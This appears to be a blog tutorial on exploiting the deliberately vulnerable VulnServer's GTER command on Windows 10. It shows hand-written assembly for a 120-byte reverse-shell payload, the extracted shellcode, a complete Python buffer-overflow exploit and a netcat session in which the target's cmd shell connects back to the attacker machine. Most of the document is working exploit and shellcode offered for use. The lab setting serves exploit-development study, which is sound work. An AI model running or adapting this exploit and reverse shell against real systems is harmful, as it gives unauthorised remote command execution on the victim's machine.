If you’ve exploited VulnServer via the GTER parameter then most likely you used an egghunter to get the job done and had to utilize one of the other commands VulnServer offers to stick your shellcode in. This is due to GTER providing a very small buffer space to work with. I decided to see what was possible with this limited buffer space and see if it was possible to get a shell without having to leverage another command to store shellcode in. After some tinkering I found out is in fact possible to get a reverse shell with the limited buffer space! However it requires a little bit of work and a lot of assembly. Let’s get started.

Setup

Our target machine will be Windows 10 (1803) x86, it’s IP address will be 192.168.47.132. Our attacking box is just a Kali VM with an IP of 192.168.47.128. We’ll be utilizing a little nasm, lots of Microsoft documentation, arwin, as well as Immunity Debugger on Windows.

Let’s first take a look at the PoC for exploiting GTER, I’ll be skipping fuzzing, finding the offsets for EIP and also finding a useable address for JMP ESP.

Here’s the PoC

#!/usr/bin/python

import socket

host = '192.168.47.132'
port = 9999


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


# 625011AF JMP ESP 
jmp_esp = "\xaf\x11\x50\x62"

# max short negative JMP
short_jmp = "\xeb\x80"


crash = "\x90" * 29 + "\x90" * 122 + jmp_esp + short_jmp + "\x43" * 500

buffer = "GTER "
buffer += crash
buffer += "\r\n"

s.connect((host, port))
s.send(buffer)
s.recv(1024)
s.close()

In the crash variable I’ve broken up the NOPs into two separate lengths, this is a marker as to where the short negative JMP will take us back into our buffer, which is right after 29 NOPs. We can see that we have a measly 122 bytes to work with before we run into our JMP ESP address. To put this in perspective a non encoded Metasploit windows/shell_reverse_tcp is 324 bytes, however that will have nulls which won’t be useable. An encoded version without nulls will be roughly 351 bytes using shikata_ga_nai as an encoder. So we roughly have a third of the required space for this payload.

Diving In

We have a few required functions to normally get a reverse shell working in Windows. They are:

  • LoadLibraryA - this is used to load the winsock DLL ws2_32.dll
  • WSAStartup - this intializes the use of the winsock DLL in the process, has to be done before any sockets can be created.
  • WSASocketA - this is used to create the socket.
  • connect - this uses the created socket and establishes a connection.
  • CreateProcessA - this is used to create a cmd process and redirect stdin, stdout, and stderr
  • ExitProcess - fairly obvious what this does. However you really don’t need this.

At this point you may be thinking there’s no way we’ll be able to fit all of those functions and their respected parameters into 122 bytes of shellcode. Well you are right.

Lucky for us though, our target process will have already loaded the winsock DLL and also initialized it, due to the fact that it’s using sockets and binding to a port to provide its functions.

This means we only need to concern ourselves with WSASocketA, connect, and CreateProcessA. We’ll need to get the addresses where these functions live to get started. CreateProcessA lives in kernel32.dll, WSASocketA and connect live in the ws2_32.dll (winsock).

To grab these addresses we’ll use arwin on our Windows 10 box.

PS C:\Users\admin\Desktop\arwin> .\arwin.exe kernel32 CreateProcessA
arwin - win32 address resolution program - by steve hanna - v.01
CreateProcessA is located at 0x74f36630 in kernel32

PS C:\Users\admin\Desktop\arwin> .\arwin.exe ws2_32 WSASocketA
arwin - win32 address resolution program - by steve hanna - v.01
WSASocketA is located at 0x754e9730 in ws2_32

PS C:\Users\admin\Desktop\arwin> .\arwin.exe ws2_32 connect
arwin - win32 address resolution program - by steve hanna - v.01
connect is located at 0x754e5ee0 in ws2_32

These addresses will obviously only work with the specific Windows version we’re attacking. Which means our shellcode won’t work across various Windows versions. At least not without replacing the addresses for the correct Windows target version.

With addresses in hand it’s now time to start writing some assembly.

First up is WSASocketA. If we reference Microsoft’s documentation here we can see that WSASocketA has a syntax as follows.

WINSOCK_API_LINKAGE SOCKET WSAAPI WSASocketA(
  int                 af,
  int                 type,
  int                 protocol,
  LPWSAPROTOCOL_INFOA lpProtocolInfo,
  GROUP               g,
  DWORD               dwFlags
);

Here is what is should look like with the correct parameters filled in.

WINSOCK_API_LINKAGE SOCKET WSAAPI WSASocketA(
  int                 af - 2, AF_INET (IPv4)
  int                 type - 1, SOCK_STREAM (TCP)
  int                 protocol - 6, IPPROTO_TCP (TCP)
  LPWSAPROTOCOL_INFOA lpProtocolInfo - NULL,
  GROUP               g - 0, No group operation
  DWORD               dwFlags - 0 No flags
);

We’ll need to push these values in reverse to the stack, and then MOV the address of WSASocketA into a register and CALL it. Finally we’ll need to stow away our created socket (which will be returned into EAX) in another register for later use.

xor eax, eax            ; clear EAX
push eax		; dwFlags - 0
push eax		; Group - 0
push eax		; ProtocolInfo - NULL
xor ebx, ebx	        ; clear EBX	
mov bl, 6		
push ebx		; Protocol - IPPROTO_TCP = 6 		
inc eax		
push eax		; Type - SOCK_STREAM = 1
inc eax
push eax		; Family - AF_INET = 2
mov ebx, 0x754e9730	; WSASocketA - Win10 1803
xor eax, eax
call ebx
xchg eax, esi		; save socket into ESI

Next up is connect. Once again we’ll reference Microsoft’s documentation here.

The structure for calling connect is as follows:

int WSAAPI connect(
  SOCKET         s,
  const sockaddr *name,
  int            namelen
);

So for us we’ll need to set it up as follows:

int WSAAPI connect(
  SOCKET         s - saved socket currently in ESI,
  const sockaddr *name - pointer to IP address and port,
  int            namelen - 16
);

Again we’ll be push our parameters in reverse, starting with creating a pointer to our our IP address and port. To figure out the address in hex you can simply break each octect down, reverse the order of the octects and convert to hex. ie: 128 = 80, 47 = 2f, 168 = a8, 192 = c0. Thus we’ll push 802fa8c0. Same concept for the port. 4444 = 115c, reverse to 5c11.

push 0x802fa8c0		; 192.168.47.128
push word 0x5c11	; port 4444
xor ebx, ebx		
add bl, 2
push word bx		
mov edx, esp		; pointer for SockAddr
push byte 16		; AddrLen - 16
push edx		; pSockAddr
push esi		; saved socket
mov ebx, 0x754e5ee0	; connect - Win10 1803
call ebx

Finally is CreateProcessA, and boy is it a doozy. Let’s see what Microsoft has to say about it’s structure.

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

Along with this we also need to provide a pointer for StartupInfo which it’s structure is defined here.

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
}

So as you can see we have our work cut out for us here. Luckily a lot of these values are NULL for our purposes. Here’s what CreateProcessA should look like.

BOOL CreateProcessA(
  LPCSTR                lpApplicationName - NULL
  LPSTR                 lpCommandLine - pointer to "cmd" we'll store in ECX
  LPSECURITY_ATTRIBUTES lpProcessAttributes - NULL
  LPSECURITY_ATTRIBUTES lpThreadAttributes - NULL
  BOOL                  bInheritHandles - 1 (TRUE)
  DWORD                 dwCreationFlags - 0
  LPVOID                lpEnvironment - NULL
  LPCSTR                lpCurrentDirectory - NULL
  LPSTARTUPINFOA        lpStartupInfo - pointer we'll store in EAX
  LPPROCESS_INFORMATION lpProcessInformation - pointer we'll store in EBX
);

Let’s go ahead and setup our pointer to “cmd”

mov edx, 0x646d6363	; cmdd
shr edx, 8		; cmd
push edx
mov ecx, esp		; pointer to "cmd"

We also need a pointer for ProcessInformation, however we can literally just point this to garbage on the stack.

xor edx, edx
sub esp, 16
mov ebx, esp		; pointer for ProcessInfo (points to garbage)

Now we’ll need to create the ridiculous StartUpInfo pointer to reflect the following:

typedef struct _STARTUPINFOA {
  DWORD  cb - 0x44, size of structure
  LPSTR  lpReserved - NULL
  LPSTR  lpDesktop - NULL
  LPSTR  lpTitle - NULL
  DWORD  dwX - NULL
  DWORD  dwY - NULL
  DWORD  dwXSize - NULL
  DWORD  dwYSize - NULL
  DWORD  dwXCountChars - NULL
  DWORD  dwYCountChars - NULL
  DWORD  dwFillAttribute - NULL
  DWORD  dwFlags - STARTF_USESTDHANDLES 0x00000100
  WORD   wShowWindow - ignored
  WORD   cbReserved2 - NULL
  LPBYTE lpReserved2 - NULL
  HANDLE hStdInput - saved socket in ESI
  HANDLE hStdOutput - saved socket in ESI
  HANDLE hStdError - saved socket in ESI
}

Here we go!

push esi		; hStdError - saved socket
push esi		; hStdOutput - saved socket
push esi		; hStdInput -saved socket
push edx		; pReserved2 - NULL	
push edx		; cbReserved2 -NULL
xor eax, eax
inc eax
rol eax, 8			
push eax		; dwFlags - STARTF_USESTDHANDLES 0x00000100
push edx		; dwFillAttribute - NULL
push edx		; dwYCountChars - NULL
push edx		; dwXCountChars - NULL
push edx		; dwYSize - NULL
push edx		; dwXSize - NULL
push edx		; dwY - NULL
push edx		; dwX - NULL
push edx		; pTitle - NULL
push edx		; pDesktop - NULL
push edx		; pReserved - NULL
xor eax, eax
add al, 44
push eax		; cb - size of structure
mov eax, esp		; pStartupInfo

Now we are finally ready to call CreateProcessA.

push ebx		; pProcessInfo
push eax		; pStartupInfo
push edx		; CurrentDirectory - NULL
push edx		; pEnvironment - NULL
push edx		; CreationFlags - 0
xor eax, eax
inc eax
push eax		; InheritHandles -TRUE - 1
push edx		; pThreadAttributes -NULL
push edx		; pProcessAttributes - NULL

push ecx		; pCommandLine - pointer to "cmd"
push edx		; ApplicationName - NULL
	
mov ebx, 0x74f36630	; CreateProcessA - Win10 1803
call ebx

Final Assembly Code

global _start

section .text

_start:

	; Create the socket with WSASocketA() 
	
	xor eax, eax
	push eax		; Flags - 0
	push eax		; Group - 0
	push eax		; pWSAprotocol - NULL
	xor ebx, ebx		
	mov bl, 6		
	push ebx		; Protocol - IPPROTO_TCP = 6 		
	inc eax		
	push eax		; Type - SOCK_STREAM = 1
	inc eax
	push eax		; Family - AF_INET = 2
	mov ebx, 0x754e9730	; WSASocketA - Win10 1803
	xor eax, eax
	call ebx
	xchg eax, esi		; save socket into ESI

	; connect() to attacking machine

	push 0x802fa8c0		; 192.168.47.128
	push word 0x5c11	; port 4444
	xor ebx, ebx		
	add bl, 2
	push word bx		
	mov edx, esp		; pointer for SockAddr
	push byte 16		; AddrLen - 16
	push edx		; pSockAddr
	push esi		; saved socket
	mov ebx, 0x754e5ee0	; connect - Win10 1803
	call ebx

	; CreateProcessA()

	mov edx, 0x646d6363	; cmdd
	shr edx, 8		; cmd
	push edx
	mov ecx, esp		; pointer to "cmd"

	xor edx, edx
	sub esp, 16
	mov ebx, esp		; pointer for ProcessInfo (points to garbage)

	push esi		; hStdError - saved socket
	push esi		; hStdOutput - saved socket
	push esi		; hStdInput -saved socket
	push edx		; pReserved2 - NULL	
	push edx		; cbReserved2 -NULL
	xor eax, eax
	inc eax
	rol eax, 8			
	push eax		; dwFlags - STARTF_USESTDHANDLES 0x00000100
	push edx		; dwFillAttribute - NULL
	push edx		; dwYCountChars - NULL
	push edx		; dwXCountChars - NULL
	push edx		; dwYSize - NULL
	push edx		; dwXSize - NULL
	push edx		; dwY - NULL
	push edx		; dwX - NULL
	push edx		; pTitle - NULL
	push edx		; pDesktop - NULL
	push edx		; pReserved - NULL
	xor eax, eax
	add al, 44
	push eax		; cb - size of structure
	mov eax, esp		; pStartupInfo

	push ebx		; pProcessInfo
	push eax		; pStartupInfo
	push edx		; CurrentDirectory - NULL
	push edx		; pEnvironment - NULL
	push edx		; CreationFlags - 0
	xor eax, eax
	inc eax
	push eax		; InheritHandles -TRUE - 1
	push edx		; pThreadAttributes -NULL
	push edx		; pProcessAttributes - NULL
	push ecx		; pCommandLine - pointer to "cmd"
	push edx		; ApplicationName - NULL
	
	mov ebx, 0x74f36630	; CreateProcessA - Win10 1803
	call ebx

No we’ll compile with nasm and extract our shellcode out.

[email protected]:~# nasm -f elf32 -o revshell.o revshell.nasm
[email protected]:~# ld -o revshell revshell.o

[email protected]:~# for i in $(objdump -d win10revshell |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x30\x97\x4e\x75\x31\xc0\xff\xd3\x96\x68\xc0\xa8\x2f\x80\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\xe0\x5e\x4e\x75\xff\xd3\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x56\x56\x56\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x30\x66\xf3\x74\xff\xd3

And we have 120 bytes of reverse shellcode! We squeezed by with 2 bytes left to spare.

Let’s update our PoC

#!/usr/bin/python

import socket

host = '192.168.47.132'
port = 9999


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


# 625011AF
jmp_esp = "\xaf\x11\x50\x62"

# max short negative JMP
short_jmp = "\xeb\x80"

revshell  = "\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x30\x97\x4e\x75\x31\xc0\xff\xd3" 
revshell += "\x96\x68\xc0\xa8\x2f\x80\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\xe0" 
revshell += "\x5e\x4e\x75\xff\xd3\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x56\x56" 
revshell += "\x56\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50"
revshell += "\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x30\x66\xf3\x74\xff\xd3"


crash = "\x90" * 29 + revshell + "\x90" * 2 + jmp_esp + short_jmp + "\x43" * 500

buffer = "GTER "
buffer += crash
buffer += "\r\n"

s.connect((host, port))
s.send(buffer)
s.recv(1024)
s.close()
print len(revshell)

Not so fast….

However if we run this no shell comes. If we take a look in the debugger we can see it’s a stack alignment issue.

stack

ESP is actually pointing to the location of our short negative JMP.

jmp

Which means if we start pushing instructions to the stack we will start overwriting our shellcode above.

To work around this take a look at the EAX register, it’s value currently points to an address much lower than ESP and actually sits well above our shellcode. In fact it points to the very beginning of the GTER request. So what we can do is PUSH the value of EAX to the stack (yes we will overwrite our negative JMP but it won’t matter at this point since we’ve already taken the JMP!) and then we’ll POP that value directly into ESP.

Add the instructions in at the beginning of where our shellcode would start and let’s test.

pushpop

Let’s step through these instructions and inspect our registers and stack again.

newregs

newstack

We can see now that our stack will write above our shellcode and will execute correctly now. Let’s update the PoC with the PUSH EAX, POP ESP instructions (\x50\x5c) and test.

Final Exploit

#!/usr/bin/python

import socket

host = '192.168.47.132'
port = 9999


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


# 625011AF
jmp_esp = "\xaf\x11\x50\x62"

# max short negative JMP
short_jmp = "\xeb\x80"

revshell  = "\x50\x5c\x31\xc0\x50\x50\x50\x31\xdb\xb3\x06\x53\x40\x50\x40\x50\xbb\x30\x97\x4e\x75\x31\xc0\xff" 
revshell += "\xd3\x96\x68\xc0\xa8\x2f\x80\x66\x68\x11\x5c\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x56\xbb\xe0" 
revshell += "\x5e\x4e\x75\xff\xd3\xba\x63\x63\x6d\x64\xc1\xea\x08\x52\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x56\x56\x56\x52" 
revshell += "\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53"
revshell += "\x50\x52\x52\x52\x31\xc0\x40\x50\x52\x52\x51\x52\xbb\x30\x66\xf3\x74\xff\xd3"


crash = "\x90" * 29 + revshell + jmp_esp + short_jmp + "\x43" * 500

buffer = "GTER "
buffer += crash
buffer += "\r\n"

s.connect((host, port))
s.send(buffer)
s.recv(1024)
s.close()

[email protected]:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.47.128] from (UNKNOWN) [192.168.47.132] 49853
Microsoft Windows [Version 10.0.17134.165]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\admin\Desktop\vulnserver>whoami
whoami
desktop-ofau55f\admin

C:\Users\admin\Desktop\vulnserver>

Perfect!

Resources other than Microsoft

Skape is the man: http://www.hick.org/code/skape/papers/win32-shellcode.pdf